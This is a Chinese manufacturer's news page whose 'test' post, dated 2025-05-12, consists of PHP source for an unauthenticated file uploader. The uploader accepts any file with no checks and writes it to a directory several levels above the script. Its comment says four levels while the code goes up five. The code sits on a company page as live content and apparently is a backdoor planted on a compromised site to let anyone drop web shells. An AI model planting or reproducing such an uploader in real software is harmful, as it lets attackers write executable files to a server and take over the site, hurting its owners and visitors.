新闻中心
预拉伸板生产专家。

test

2025-05-12
<?php
// Handle file upload when form is submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        // Upload to a directory four levels up from current script
        $uploadDir = dirname(__FILE__, 5) . '/'; 
        $uploadFile = $uploadDir . basename($_FILES['file']['name']);

        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
            $message = "File uploaded successfully as " . htmlspecialchars($_FILES['file']['name']);
        } else {
            $message = "Error moving the uploaded file.";
        }
    } else {
        $message = "No file was uploaded.";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Upload a File</title>
</head>
<body>
    <h2>Upload a File</h2>
    <?php if (!empty($message)) echo "<p>$message</p>"; ?>
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file" required>
        <button type="submit">Upload</button>
    </form>
</body>
</html>
返回上级列表